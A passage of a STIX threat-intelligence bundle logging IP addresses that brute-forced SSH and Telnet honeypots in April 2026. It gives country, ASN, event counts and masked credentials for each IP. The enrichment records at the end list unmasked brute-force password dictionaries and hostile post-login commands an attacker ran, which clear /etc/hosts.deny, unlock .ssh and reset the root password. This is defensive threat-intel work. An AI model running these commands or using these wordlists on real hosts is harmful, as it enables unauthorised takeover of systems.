      "valid_until": "2026-06-01T21:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, u****u, t**t, 3**********4, a***n. Passwords observed (masked): *, 1****3, 1********4, 1****3, 1******%.",
      "id": "indicator--81021643-535f-443d-9ea5-22f149a4b43f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.47.158.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6cebaf16-1691-4c8c-9820-3cee885ddfb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--0980e41c-3c8e-48c5-a93c-37dc19413feb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '148.72.244.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 98. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--fb4164c4-20c2-47ab-a012-08af8bb2a4e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '149.28.165.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CA. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--3157c498-4b5d-4fad-9b4a-32c1395a9e57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.105.102.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--0abaa77d-9628-4e96-a77d-86815e321c7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.105.155.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 394380. Organisation(s): Leaseweb USA, Inc..",
      "id": "indicator--d3b5bc2a-2cbf-4359-8b49-ceab442d9459",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '174.34.132.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer.",
      "id": "indicator--742dd1b9-3015-4cff-847d-016337844239",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.163.203.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ee87e203-38ee-4449-92d4-add22f241492",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.195.250.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17747. Organisation(s): SITI NETWORKS LIMITED.",
      "id": "indicator--fcee781b-d813-4cec-835b-71f23f14d60f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.142.121.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273069. Organisation(s): MINET, C.A.",
      "id": "indicator--22dc7805-74fb-4fce-8ae0-c7470745a86b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.76.250.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb. Usernames observed (masked): u****u, a***n, r**t, g***t, t***2. Passwords observed (masked): 1****6, 1********0, 1*********0, 1****e, 1******5.",
      "id": "indicator--b49af45d-90e4-4247-98a5-6ea6e8cc3bf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.42.110.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--b209e182-ba8a-47c0-83a8-2fb79d1c6250",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.249.156.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2ddc4788-01d0-42dd-90d3-4439bb8f182d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.227.105.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--52619142-3212-47e4-99e1-b3d197199945",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.53.238.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--01a96865-9979-4c8c-a21a-9c61e4f0e34b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.68.16.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 8888. Organisation(s): xTom Pty Ltd.",
      "id": "indicator--e22b0672-1b01-4018-b491-3b1df40fda18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '96.9.211.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:15:10.000Z",
      "valid_until": "2026-06-01T22:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--088daec8-0b98-4d39-a4dc-977266f18427",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.34.254.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 45305. Organisation(s): Lintas Data Prima, PT.",
      "id": "indicator--d356a559-72d1-4e91-8090-36908895d0dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.40.252.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 162. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37611. Organisation(s): AFRIHOST-SP.",
      "id": "indicator--5a3137c5-13a3-4e7f-881c-54a6ff217e6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.0.163.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--086ea93f-71c8-4edd-b892-b766c8cfc49c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.230.49.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263145. Organisation(s): GRUPO MEGA FLASH SERVICOS E COM LTDA - EPP.",
      "id": "indicator--dc8565a8-0858-4a97-b505-a7c8a51f9272",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '168.205.136.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama.",
      "id": "indicator--e10be023-e5f1-49cd-9518-d601a72cf696",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.178.84.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA.",
      "id": "indicator--d58e4008-61ce-4182-bf65-c648388541aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.28.222.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 144. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--b7cb495f-a53a-454a-8a3f-b0e1440ca527",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.145.58.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 57016. Organisation(s): Inform-Service TV Ltd..",
      "id": "indicator--3ef60270-021d-4dbe-9ee2-355dc50971d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.148.164.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 15169. Organisation(s): Google LLC.",
      "id": "indicator--cd8cdb13-f822-481d-a672-6e77fe22a1eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.216.140.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35819. Organisation(s): Etihad Etisalat, a joint stock company.",
      "id": "indicator--1e2b9a4b-b954-41bb-ad5d-5cbc1b64dfc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.127.102.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    },
    {
      "created": "2026-04-30T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 102. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 136258. Organisation(s): BrainStorm Network, Inc.",
      "id": "indicator--30abf695-4c8f-49b2-a42e-f31fc41d8b94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.154.205.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T23:15:10.000Z",
      "valid_until": "2026-06-01T23:15:08.000Z"
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "enriched_at": "2026-04-30T23:41:15.034143+00:00",
    "sensor": "cowrie",
    "sensor_type": "ssh_telnet_honeypot",
    "month": "2026-04",
    "ip_count": 4037,
    "total_attacks": 684766,
    "total_sessions": 129976
  },
  "x_nadsec_ip_context": {
    "20.193.141.133": {
      "attack_count": 1102,
      "first_seen": "2026-04-08T05:41:47.214Z",
      "last_seen": "2026-04-30T04:19:36.362Z",
      "sessions": 115,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "user",
        "steam",
        "admin",
        "ammar",
        "bitnami",
        "bot",
        "bruce",
        "claude",
        "comp",
        "david",
        "dev",
        "ftp-test",
        "ftpuser",
        "git",
        "mehrdad",
        "myuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "administrator",
        "1122334455",
        "123.Asd",
        "123123",
        "123456...",
        "123456789a!",
        "12345678m",
        "123QWE123qwe",
        "123qwe",
        "1q2w3e4R",
        "1qaz2wsx",
        "1qaz@WSX",
        "1qazxsw@",
        "20080808",
        "201314",
        "231651561",
        "235678",
        "2468@Network!#%&"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Steam23!\\noxcyeSnWcrHi\\noxcyeSnWcrHi\\n\"|passwd",
        "echo \"Test26\\nwFstegcuqH1I\\nwFstegcuqH1I\\n\"|passwd",
        "echo \"User@2025\\nX2dKJ1DPnsMN\\nX2dKJ1DPnsMN\\n\"|passwd",
        "echo \"asdf1234\\ncQeUnnOGWvgW\\ncQeUnnOGWvgW\\n\"|passwd",
        "echo \"random\\nlVN2kbTzCNAr\\nlVN2kbTzCNAr\\n\"|passwd",
        "echo \"root:5SbQmq3Vbohw\"|chpasswd|bash",
        "echo \"root:LhMuGGEsKwTi\"|chpasswd|bash",
        "echo \"root:cWW9UenxAQio\"|chpasswd|bash",
        "echo \"root:vAvf6KcMXWxB\"|chpasswd|bash",
        "echo -e \"Steam23!\\noxcyeSnWcrHi\\noxcyeSnWcrHi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1358,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:41:47.214000+00:00",
        "last_seen_30d": "2026-04-30T04:20:43.116000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1102,
        "Suricata": 256
      }
    },
    "213.177.179.80": {
      "attack_count": 922,
      "first_seen": "2026-04-01T09:22:12.046Z",
      "last_seen": "2026-04-19T16:45:43.002Z",
      "sessions": 185,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bardengineering",
        "kelltech"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "11111111",
        "121212",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "666666"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 41.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1315,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:22:12.046000+00:00",
        "last_seen_30d": "2026-04-19T16:46:47.464000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 922,
        "Suricata": 393
      }
    },
    "199.231.163.19": {
      "attack_count": 859,
      "first_seen": "2026-04-07T12:32:07.352Z",
      "last_seen": "2026-04-23T23:42:54.236Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser",
        "steam",
        "admin",
        "deploy",
        "odoo",
        "vpn",
        "aceuser",
        "botuser",
        "chen",
        "client",
        "dev",
        "gaurav",
        "git",
        "linuxbrew",
        "oracle",
        "server",
        "shoutcast"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!Q2w#E4r",
        "10202540",
        "123!@#",
        "123!@#QWE",
